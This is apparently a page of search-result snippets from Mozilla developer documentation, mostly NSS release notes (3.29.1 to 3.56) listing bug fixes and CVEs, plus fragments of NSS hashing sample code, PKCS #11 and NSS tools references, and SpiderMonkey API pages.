introduction network security services (nss) 3.29.1 is a patch release for nss 3.29. the bug fixes in nss 3.29.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_29_1_rtm. nss 3.29.1 requires netscape portable runtime (nspr) 4.13.1 or
newer. nss 3.29.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_1_rtm/src/
new in nss 3.29.1
new functionality no
new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.29.1 nss version 3.28, 3.28.1, 3.28.2 and 3.29 contained changes that were in violation with the nss compatibility promise. ecparams, which is pa...
...de an additional attribute. that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has been reverted to the original state in bug 1334108. seckeyecpublickey had been extended with a
new attribute, named "encoding". if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute. with this nss release seckeyecpublickey.encoding is deprecated. nss no longer reads the attribute, and will always set it to ecpoint_undefined. see bug 1340103. note that nss 3.28.3 from the older nss 3.28.x branch has also been relea...
NSS 3.34.1 release notes
nss 3.34.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_1_rtm/src/ notable changes in nss 3.34.1 the following ca certificate was re-added. ...
... now re-added with only the email trust bit set. (bug 1418678) cn = certum ca, o=unizeto sp. z o.o. sha-256 fingerprint: d8:e0:fe:bc:1d:b2:e3:8d:00:94:0f:37:d2:7d:41:34:4d:99:3e:73:4b:99:d5:65:6d:97:78:d4:d8:14:36:24 removed entries from certdata.txt for actively distrusted certificates that have expired (bug 1409872). the version of the ca list was set to 2.20.
new in nss 3.34
new functionality none
new functions bugs fixed in nss 3.34.1 this bugzilla query returns all the bugs fixed in nss 3.34.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34.1 compatibility nss 3.34.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a p...
NSS 3.37 release notes
nss 3.37 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_37_rtm/src/ notable changes in nss 3.37 the tls 1.3 implementation was updated to draft 28. an issue where nss erroneously accepted hrr requests was resolved. this issue was found by oss fuzz. ...
...esolved. this issue was found by oss fuzz. added hacl* poly1305 32-bit the code to support the npn protocol, which had already been disabled in a previous release, has been fully removed. nss allows servers now to register alpn handling callbacks to select a protocol. nss supports opening sql databases in read-only mode. nss now requires the sqlite apis of version 3.5.0 or
newer. starting with nss version 3.31, an alternative implementation for rng seeding on the linux/unix platform was available (bug 1346735), which performed seeding exclusively based on /dev/urandom. this alternative implementation is selected at build time by defining the seed_only_dev_urandom symbol. (the classic implementation for rng seeding on the linux/unix platform, which may use addi...
NSS 3.39 release notes
introduction the nss team has released network security services (nss) 3.39, which is a minor release. distribution information the hg tag is nss_3_39_rtm. nss 3.39 requires nspr 4.20 or
newer. nss 3.39 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_39_rtm/src/
new in nss 3.39
new functionality the tstclnt and selfserv utilities added support for configuring the enabled tls signature schemes using the -j parameter. nss will use rsa-pss keys to authenticate in tls. support for these keys is disabled by default but can be enabled using ssl_signatureschemeprefset(). certutil added the ability to delete an orphan private key from an nss key ...
... authenticate in tls. support for these keys is disabled by default but can be enabled using ssl_signatureschemeprefset(). certutil added the ability to delete an orphan private key from an nss key database. added the nss-policy-check utility, which can be used to check an nss policy configuration for problems. a pkcs#11 uri can be used as an identifier for a pkcs#11 token.
new functions in cert.h cert_getcertkeytype - query the key type associated with the given certificate. utilpars.h nssutil_addnssflagtomodulespec - a helper function for modifying the pkcs#11 module configuration. it can be used to add a single flag to the flags= section inside the spec's nss= section. notable changes in nss 3.39 the tls 1.3 implementation uses the fina...
NSS 3.40.1 release notes
introduction the nss team has released network security services (nss) 3.40.1, which is a patch release for nss 3.40 distribution information the hg tag is nss_3_40_1_rtm. nss 3.40.1 requires nspr 4.20 or
newer. nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_1_rtm/src/
new in nss 3.40.1
new functionality no
new functionality is introduced in this release. ...
...s nss_3_40_1_rtm. nss 3.40.1 requires nspr 4.20 or
newer. nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_1_rtm/src/
new in nss 3.40.1
new functionality no
new functionality is introduced in this release. this is a patch release to fix cve-2018-12404
new functions none bugs fixed in nss 3.40.1 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) compatibility nss 3.40.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.40.1 shared libraries without recompiling or relinking. further...
NSS 3.41 release notes
introduction the nss team has released network security services (nss) 3.41 on 7 december 2018, which is a minor release. distribution information the hg tag is nss_3_41_rtm. nss 3.41 requires nspr 4.20 or
newer. nss 3.41 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_41_rtm/src/
new in nss 3.41
new functionality bug 1252891 - implemented eku handling for ipsec ike. bug 1423043 - enable half-closed states for tls. ...
.../nss/releases/nss_3_41_rtm/src/
new in nss 3.41
new functionality bug 1252891 - implemented eku handling for ipsec ike. bug 1423043 - enable half-closed states for tls. ...
NSS 3.46 release notes
introduction the nss team has released network security services (nss) 3.46 on 30 august 2019, which is a minor release. the nss team would like to recognize first-time contributors: giulio benetti louis dassy mike kaganski xhimanshuz distribution information the hg tag is nss_3_46_rtm. nss 3.46 requires nspr 4.22 or
newer. nss 3.46 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_46_rtm/src/ other releases are available in nss releases.
new in nss 3.46 this release contains no significant
new functionality, but concentrates on providing improved performance, stability, and security. of particular note are significant improvements to aes-gcm perfor...
...n bad values bug 1572791 - read out-of-bounds in der_decodetimechoice_util from sslexp_delegatecredential bug 1560593 - cleanup.sh script does not set error exit code for tests that "failed with core" bug 1566601 - add wycheproof test vectors for aes-kw bug 1571316 - curve25519_32.c:280: undefined reference to `pr_assert' when building nss 3.45 on armhf-linux bug 1516593 - client to generate
new random during renegotiation bug 1563258 - fips.sh fails due to non-existent "resp" directories bug 1561598 - remove -wmaybe-uninitialized warning in pqg.c bug 1560806 - increase softoken password max size to 500 characters bug 1568776 - output paths relative to repository in nss coverity bug 1453408 - modutil -changepw fails in fips mode if password is an empty string bug 1564727 - use a ps...
NSS 3.48 release notes
introduction the nss team has released network security services (nss) 3.48 on 5 december 2019, which is a minor release. the nss team would like to recognize first-time contributors: craig disselkoen giulio benetti lauri kasanen tom prince distribution information the hg tag is nss_3_48_rtm. nss 3.48 requires nspr 4.24 or
newer. nss 3.48 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_48_rtm/src/ other releases are available in nss releases. notable changes in nss 3.48 tls 1.3 is the default maximum tls version. see bug 1573118 for details. tls extended master secret is enabled by default, where possible. see bug 1575411 for details. the mas...
... to mozilla::pkix::trustdomain::checkrevocation bug 1591363 - fix a pbkdf2 memory leak in nsc_generatekey if key length > max_key_len (256) bug 1592869 - use arm neon for ctr_xor bug 1566131 - ensure sha-1 fallback disabled in tls 1.2 bug 1577803 - mark pkcs#11 token as friendly if it implements ckp_public_certificates_token bug 1566126 - power ghash vector acceleration bug 1589073 - use of
new pr_assert_arg in certdb.c bug 1590495 - fix a crash in pk11_makecertfromhandle bug 1591742 - ensure des iv length is valid before usage from pkcs#11 bug 1588567 - enable mozilla::pkix gtests in nss ci bug 1591315 - update nsc_decrypt length in constant time bug 1562671 - increase nss mp kdf default iteration count, by default for modern key4 storage, optionally for legacy key3.db storage bu...
NSS 3.53 release notes
introduction the nss team released network security services (nss) 3.53 on 29 may 2020. nss 3.53 will be a long-term support release, supporting firefox 78 esr. the nss team would like to recognize first-time contributors: jan-marek glogowski jeff walden distribution information the hg tag is nss_3_53_rtm. nss 3.53 requires nspr 4.25 or
newer. nss 3.53 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_53_rtm/src/ other releases are available in nss releases. notable changes in nss 3.53 when using the makefiles, nss can be built in parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system. (bug 290526) seed is no...
...illa.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_53_rtm/src/ other releases are available in nss releases. notable changes in nss 3.53 when using the makefiles, nss can be built in parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system. (bug 290526) seed is now moved into a
new freebl directory freebl/deprecated (bug 1636389). seed will be disabled by default in a future release of nss. at that time, users will need to set the compile-time flag (bug 1622033) to disable that deprecation in order to use the algorithm. algorithms marked as deprecated will ultimately be removed. several root certificates in the mozilla program now set the cka_nss_server_distr...
NSS 3.55 release notes
introduction the nss team has released network security services (nss) 3.55 on 24 july 2020, which is a minor release. the nss team would like to recognize first-time contributors: danh distribution information the hg tag is nss_3_55_rtm. nss 3.55 requires nspr 4.27 or
newer. nss 3.55 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_55_rtm/src/ other releases are available in nss releases. notable changes in nss 3.55 p384 and p521 elliptic curve implementations are replaced with verifiable implementations from fiat-crypto and ecckiila. special thanks to the network and information security group (nisec) at tampere university. pk11_findcertinslot is ...
... to 4.27. known issues on some platforms, using the makefile builds fails to locate seccomon.h; ensure you are using make all rather than just make. another potential workaround is to use the gyp-based build.sh script. if this affects you, please help us narrow down the cause in bug 1653975. bugs fixed in nss 3.55 bug 1631583 (cve-2020-6829, cve-2020-12400) - replace p384 and p521 with
new, verifiable implementations from fiat-crypto and ecckiila. bug 1649487 - move overzealous assertion in vfy_endwithsignature. bug 1631573 (cve-2020-12401) - remove unnecessary scalar padding. bug 1636771 (cve-2020-12403) - explicitly disable multi-part chacha20 (which was not functioning correctly) and more strictly enforce tag length. bug 1649648 - don't memcpy zero bytes (sanitizer fix). ...
NSS 3.56 release notes
nss 3.56 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_56_rtm/src/ other releases are available in nss releases. notable changes in nss 3.56 nspr dependency updated to 4.28. ...
...- send empty certificate message when scheme selection fails. bug 1652032 - fix failure to build in windows arm64 makefile cross-compilation. bug 1625791 - fix deadlock issue in nssslot_istokenpresent. bug 1653975 - fix 3.53 regression by setting "all" as the default makefile target. bug 1659792 - fix broken libpkix tests with unexpired paypal cert. bug 1659814 - fix interop.sh failures with
newer tls-interop commit and dependencies. bug 1656519 - update nspr dependency to 4.28. this bugzilla query returns all the bugs fixed in nss 3.56: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.56 compatibility nss 3.56 shared libraries are backward compatible with all older nss 3.x shared libraries. a p...
NSS Sample Code Sample_1_Hashing
ll if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* *
newline */ static void
newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if ...
...lumn = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) {
newline(out); column = level; limit = i % 16; } } if (column != level) {
newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprint...
Hashing - sample 1
ll if the name if not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* *
newline */ static void
newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { ...
...lumn = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) {
newline(out); column = level; limit = i % 16; } } if (column != level) {
newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprin...
sample1
is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /*
newline */ static void
newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < le...
... if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) {
newline(out); column = level; limit = i % 16; } } if (column != level) {
newline(out); } } /* prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", prognam...
nss tech note8
o be able to compute the expiration time. all callers computed the expiration times explicitly, as shown above. the server side of the session cache code was largely rewritten for nss 3.4. the objectives were to make the server session cache faster, and to fix bugs that caused corruption in multi-process servers, and also to allow separate virtual servers to have their own session caches. the
new approach was to use shared memory for the server session cache, and to allow multiple different server session caches to coexist. as part of that work, i decided that each cache would have its own variables containing the ssl2 and ssl3 session durations. this means that client cache session lifetimes are separate from server session cache lifetimes, and that each server session cache may have its...
...s own variables containing the ssl2 and ssl3 session durations. this means that client cache session lifetimes are separate from server session cache lifetimes, and that each server session cache may have its own lifetimes. so, in nss 3.4, the global variables ssl3_sid_timeout and ssl_sid_timeout were intended to become the definitions for the client cache only, and each server cache had its own
new pair of variables for ssl2 and ssl3 session lifetimes, i.e., cache->ssl2timeout and cache->ssl3timeout. the server cache initialization function was intended to no longer alter the variables ssl3_sid_timeout and ssl_sid_timeout, but rather to set the server cache's variables. since all the callers of the socket's cache function always initialized both their creationtime and expirationtime using ...
NSS release notes template
draft (remove line when document is finished) introduction the nss team has released network security services (nss) 3.xx, which is a minor release. or network security services (nss) 3.xx.y is a patch release for nss 3.xx. the bug fixes in nss 3.xx.y are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_xx_rtm. nss 3.xx requires nspr 4.xx or
newer. ...
...tch release for nss 3.xx. the bug fixes in nss 3.xx.y are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_xx_rtm. nss 3.xx requires nspr 4.xx or
newer. nss 3.xx source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_xx_rtm/src/ (make a link)
new in nss 3.xx
new functionality either: no
new functionality is introduced in this release. this is a patch release to fix ... or: ...
new functions in ___.h function - description
new types in ___.h type - description.
new macros in ___.h macro - description notable changes in nss 3.xx ... bugs fixed in nss 3.xx this bugzilla query returns all the bu...
Notes on TLS - SSL 3.0 Intolerant Servers
ese browsers shipped with the tls option on but also included a graceful rollback mechanism on the client side when they encounter known tls/ssl 3.0 intolerant servers. firefox 2 and later starting with firefox 2, support for ssl 2.0 has been disabled by default; unless it is expressly re-enabled by the user using about:config. website administrators: how to avoid this problem? upgrade to a
newer version if available, which corrects this problem. there will be other network clients which implement tls/ssl 3.0 specification correctly and have a problem with your site. let's not perpetuate the problem servers. contact the manufacturer and inquire if there is a
new version available which fixes this problem. post a note on your site instructing users of old versions of browsers like nets...
...te on your site instructing users of old versions of browsers like netscape 6.0/6.01/6.1 preview release 1 and mozilla 0.9.1 and earlier to turn off the tls option at: edit | preferences | privacy and security | ssl | enable tls. however, this is a temporary workaround at best. we recommend strongly that you urge users to upgrade to the latest netscape version (or at least netscape 6.1) since the
newer versions have the graceful rollback implemented in the code. if you have questions concerning netscape browsers and problem servers, please contact us using the feedback address at the top of this page. detecting intolerant servers because
newer versions of netscape and mozilla have built-in workaround for the problem servers, it is now unlikely that you will experience this problem. but if...
PKCS #11 Module Specs
ed to the pkcs #11 module. if the application/library does not find its application/library specific data, it should use it's defaults for this pkcs #11 library. parameter passing if the parameter is specified, the application/library will strip the value out, processing any outter quotes and escapes appropriately, and pass the parameter to the pkcs #11 library when it calls c_initialize(). a
new ck_c_initialize_args structure is defined as typedef struct ck_c_initialize_args { ck_createmutex createmutex; ck_destroymutex destroymutex; ck_lockmutex lockmutex; ck_unlockmutex unlockmutex; ck_flags flags; ck_void_ptr libraryparameters; ck_void_ptr preserved; } ck_c_initialize_args; applications/libraries must set libraryparameters to null if no parameter value is specified. p...
... ck_c_initialize_args { ck_createmutex createmutex; ck_destroymutex destroymutex; ck_lockmutex lockmutex; ck_unlockmutex unlockmutex; ck_flags flags; ck_void_ptr libraryparameters; ck_void_ptr preserved; } ck_c_initialize_args; applications/libraries must set libraryparameters to null if no parameter value is specified. pkcs #11 libraries which accept parameters must check if the '
new' preserved field is null if and only if libraryparameters field is not null. nss specific parameters in module specs here are the nss application specific parameters in use. this data is currently stored in secmod.db or pkcs11.txt. this isn't part of the generic spec (that is other applications need not parse it, nor pkcs #11 modules need supply them or use them). nss="nss_params" nss_params...
Migration to HG
yout of the source directories. for nspr, "mozilla/nsprpub" has been removed from the directory hierarchy, all files now live in the top directory of the nspr repository. likewise for nss and jss, "mozilla/security" has been removed and files now live at the top level. in addition for nss, we have merged the contents of directories mozilla/dbm and mozilla/security/dbm into the
new directory lib/dbm. besides the
new layout, the build system hasn't changed. most parts of the nss build instructions remain valid, especially the instructions about setting environment variables. updated instructions for building nss with nspr can be found at: /docs/nss_reference/building_and_installing_nss/build_instructions it's best to refer to the above document to learn abou...
...g/projects/nss cd nss # set use_64=1 on 64 bit architectures # set build_opt=1 to get an optimized build make nss_build_all note that the jss project has been given a private copy of the former mozilla/security/coreconf directory, allowing it to remain stable, and only update its build system as necessary. because of the changes described above, we have decided to use a
new series of (minor) version numbers. the first releases using the
new code layout will be nspr 4.10 and nss 3.15 ...
FC_CreateObject
description fc_createobject creates an object using the attributes specified in the template. a user must log into the token (to assume the nss user role) before calling fc_createobject. ...
... description fc_createobject creates an object using the attributes specified in the template. a user must log into the token (to assume the nss user role) before calling fc_createobject. ...
FC_GenerateKeyPair
pmechanism [in] pointer to the mechanism to use. ppublickeytemplate [in] pointer to the public key template. uspublickeyattributecount [in] number of attributes in the public key template. pprivatekeytemplate [in] pointer to the private key template. ...
...hanism [in] pointer to the mechanism to use. ppublickeytemplate [in] pointer to the public key template. uspublickeyattributecount [in] number of attributes in the public key template. pprivatekeytemplate [in] pointer to the private key template. usprivatekeyattributecount [in] number of attributes in the private key template. phpublickey [out] pointer to the location to receive the handle of the
new public key. phprivatekey [out] pointer to the location to receive the handle of the
new private key. description fc_generatekeypair generates a public/private key pair, creating
new key objects. the handles of
new keys are returned. a user must log into the token (to assume the nss user role) before calling fc_generatekeypair. return value examples see also nsc_generatekeypair ...
ssltyp.html
tificate an opaque x.509 certificate object. syntax #include <certt.h> typedef struct certcertificatestr certcertificate; description certificate structures are shared objects. when an application makes a copy of a particular certificate structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole
new copy. when you call cert_destroycertificate, the function decrements the reference count and, if the reference count reaches zero as a result, frees the memory. the use of the word "destroy" in function names or in the description of a function often implies reference counting. never alter the contents of a certificate structure. if you attempt to do so, the change affects all the shallow copies...
...elf, use one the functions secitem_freeitem or secitem_zfreeitem. seckeyprivatekey an opaque, generic key structure. syntax #include <keyt.h> typedef struct seckeyprivatekeystr seckeyprivatekey; description key structures are not shared objects. when an application makes a copy of a particular key structure that already exists in memory, ssl makes a deep copy--that is, it makes a whole
new copy of that object. when you call seckey_destroyprivatekey, the function both frees the memory and sets all the bits to zero. never alter the contents of a key structure. treat the structure as read only. secstatus the return value for many ssl functions. syntax #include <seccomon.h> typedef enum { secwouldblock = -2, secfailure = -1, secsuccess = 0 } secstatus; enumerato...
NSS Tools
nss security tools
newsgroup: mozilla.dev.tech.crypto overview the nss security tools allow developers to test, debug, and manage applications that use nss. the tools information table below describes both the tools that are currently working and those that are still under development. the links for each tool take you to the source code, documentation, plans, and related links for each tool. the links will become active when information is available. currently, you must download the nss 3.1 source and build it to create binary files for the nss tools. for information about downloading the nss source, see https://developer.mozilla.org/nss/building. if you have feedback or questions, please feel free to post to mozilla.dev.tech.crypto. ...
...n, plans, and related links for each tool. the links will become active when information is available. currently, you must download the nss 3.1 source and build it to create binary files for the nss tools. for information about downloading the nss source, see https://developer.mozilla.org/nss/building. if you have feedback or questions, please feel free to post to mozilla.dev.tech.crypto. this
newsgroup is the preferred forum for all questions about nss and nss tools. overall objectives provide a tool for analyzing and repairing certificate databases (dbck). migrate tools from secutil.h interface to pkcs #11 interface. eliminate redundant functionality in tools. many tools implement private versions of pkcs11init(), opencertdb(), etc. eliminate use of getopt() and replace with nspr ...
NSS Tools certutil-tasks
most certutil errors provide no detail. mistakes with command-line options just print a usage message. improve certificate listings. allow for sorting by name and trust. sorting by trust will return ca certs first. allow listing and lookup of keys by index and nickname. improve coherence of key and certificate nicknames. remove keys "stranded" without a certificate (except for the imminent (????) encryption key for password files). support importing keys from a file. improve hardware token support. (bugfix) some certificate extensions cause certutil to crash. ...
...d" without a certificate (except for the imminent (????) encryption key for password files). support importing keys from a file. improve hardware token support. (bugfix) some certificate extensions cause certutil to crash. (bugfix) certificate entries require a serial number; one should be generated automatically if not provided. (bugfix) null password is given to
new key3.db; should prompt user for an initial password. (bugfix) listing provate keys does not work: requires password authentication. (bugfix) listing certificate extensions has typos and does not provide much information. ...
NSS Tools cmsutil
syntax to run cmsutil, type the command cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options. options and arguments options specify an action. option arguments modify an action. the options and arguments for the cmsutil command are defined as follows: options -ddecode a message. -c encrypt a message. ...
...certificates-only message. -s sign a message. arguments -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of recipients, a
new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only...
Network Security Services
summarizes the ssl apis exported by the nss shared libraries. nss ssl reference api used to invoke ssl operations. nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss technical notes links to nss technical notes, which provide latest information about
new nss features and supplementary documentation for advanced topics in programming with nss. tools, testing, and other technical details build instructions for nss describe how to check out and build nss releases. nss developer tutorial how to make changes in nss. coding style, maintaining abi compatibility. nss tools tools for deve...
...ownload specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvement project community view mozilla security forums... mailing list
newsgroup rss feed view mozilla cryptography forums... mailing list
newsgroup rss feed related topics security ...
Rhino shell
rocess input. if it is not java.io.inputstream, it is converted to string and sent to the process as its input. if not specified, no input is provided to the process. output - the process output instead of java.lang.system.out. if it is not instance of java.io.outputstream, the process output is read, converted to a string, appended to the output property value converted to string and put as the
new value of the output property. err - the process error output instead of java.lang.system.err. if it is not instance of java.io.outputstream, the process error output is read, converted to a string, appended to the err property value converted to string and put as the
new value of the err property. seal(object) seal the specified object so any attempt to add, delete or modify its properties wo...
...ect) seal the specified object so any attempt to add, delete or modify its properties would throw an exception. serialize(object, filename) serialize the given object to the specified file. spawn(functionorscript) run the given function or script in a different thread. sync(function) creates a synchronized function (in the sense of a java synchronized method) from an existing function. the
new function synchronizes on the this object of its invocation. quit() quit shell. the shell will also quit in interactive mode if an end-of-file character is typed at the prompt. version([number]) get or set javascript version number. if no argument is supplied, the current version number is returned. if an argument is supplied, it is expected to be one of 100, 110, 120, 130, 140, 150, 160 or 17...
Future directions
and of course, the idea of the future is always evolving in time as things change and we learn more. concurrent and wasm gc we are working towards a concurrent collector. ...
...e a stable api, because too many things are changing. also, we will someday want a more modern c++ api. going forward from now, the api will likely be semi-stable, but there is no guarantee. the public api is gradually moving from jsapi.h and jsfriendapi.h into header files in js/public. much more cleanup and organization is still required. practical coding bits experimental language features
new language features (es6+) and apis often get added to spidermonkey while the spec is still being drafted, or before the feature has stabilized. this is good, because it helps the spec work. for these features: do not add vendor prefixes. see http://hsivonen.iki.fi/vendor-prefixes/ for an extended argument. disable the feature before the beta channel. nightly and aurora are the good channels fo...
JIT Optimization Outcomes
nlinenobaseline unable to inline function call. the interpreted callee function could not be compiled by the baseline compiler. cantinlinelazy unable to inline function call. the interpreted callee function has a lazy, compiled on-demand script instead of an already compiled script. cantinlinenotconstructor unable to inline function call. rare. the interpreted callee function is invoked with
new but cannot be called as a constructor. property accessors, function.prototype, and arrow (=>) functions cannot be called as constructors. cantinlinedisableion unable to inline function call. the interpreted callee function has been explicitly blacklisted against ion compilation. cantinlinetoomanyargs unable to inline function call. the interpreted callee function either has too many parameter...
...tion.prototype.bind that failed some sub-checks. (expand) cantinlinenativenospecialization unable to inline function call. ion does not have built-in specialization for the native (implemented in c++) callee function. cantinlinenativebadform unable to inline function call. the native callee function was called with an unsupported number of arguments, or calling non-constructing functions with
new. cantinlinebadtype unable to inline function call. the native callee function was called with arguments with types that the built-in specialization does not support. for example, calling math functions on objects. cantinlinenativenotemplateobj unable to inline function call. cannot inline a native constructor (e.g.,
new array) because no template object was cached by the baseline compiler. (e...
JS::CallArgs
he function being called, as an object. must not be called after rval() has been used! js::handlevalue calleev() const returns the function being called, as a value. must not be called after rval() has been used! js::handlevalue thisv() const returns the this value passed to the function. this method must not be called when the function is being called as a constructor via
new. the value may or may not be an object: it is the individual function's responsibility to box the value if needed. js::value computethis(jscontext *cx) const returns the this value if this is an object, otherwise calls js_computethis and returns it. bool isconstructing() const returns true if the function is called via
new. mutablehandlevalue rval() const ...
...ly assert this, but it will do so eventually.) you don't need to use or change this if your method fails. description js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call. the intent of js::callargs is that they be used to encapsulate access to the un-abstracted unsigned argc, value *vp arguments to a function.
new code should use callargs instead of js_callee etc. whenever possible. the eventual plan is to change jsnative to take const callargs& directly, for automatic assertion of correct use and to make calling functions more efficient. embedders should start internally switching away from using argc and vp directly, except to create a callargs. then, when an eventual release making that change occurs, ...
JS::DeflateStringToUTF8Buffer
dst mozilla::rangedptr<char> the ranged pointer to the buffer. ...
.... if dstlenp is provided, it will be updated to hold the number of bytes written to the buffer. if numcharsp is provided, it will be updated to hold the number of unicode characters written to the buffer. this can be less than the length of the string, if the buffer is exhausted before the string is fully encoded. ...
JS::GetSelfHostedFunction
this article covers features introduced in spidermonkey 31 create a
new javascript function that is implemented in self-hosted javascript. syntax jsfunction* js::getselfhostedfunction(jscontext* cx, const char* selfhostedname, js::handle<jsid> id, unsigned nargs); name type description cx jscontext* the context from which to get the function. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. selfhostedname const char* function name in the self-hosted javascript. id js::handle<jsid> a pointer to jsid of the name to assign to the
new function. nargs unsigned number of arguments the function expects. description js:...
...uest. in a js_threadsafe build, the caller must be in a request on this jscontext. selfhostedname const char* function name in the self-hosted javascript. id js::handle<jsid> a pointer to jsid of the name to assign to the
new function. nargs unsigned number of arguments the function expects. description js::getselfhostedfunction creates a
new javascript function implemented in self-hosted javascript. on success, js::getselfhostedfunction returns a pointer to the
newly created function. otherwise, it reports an out-of-memory error and returns null. see also mxr id search for js::getselfhostedfunction bug 1140573 ...
JS::HandleValueArray
len size_t (frommarkedlocation only) length of elements array or (subarray only) length of sub array of values. ...
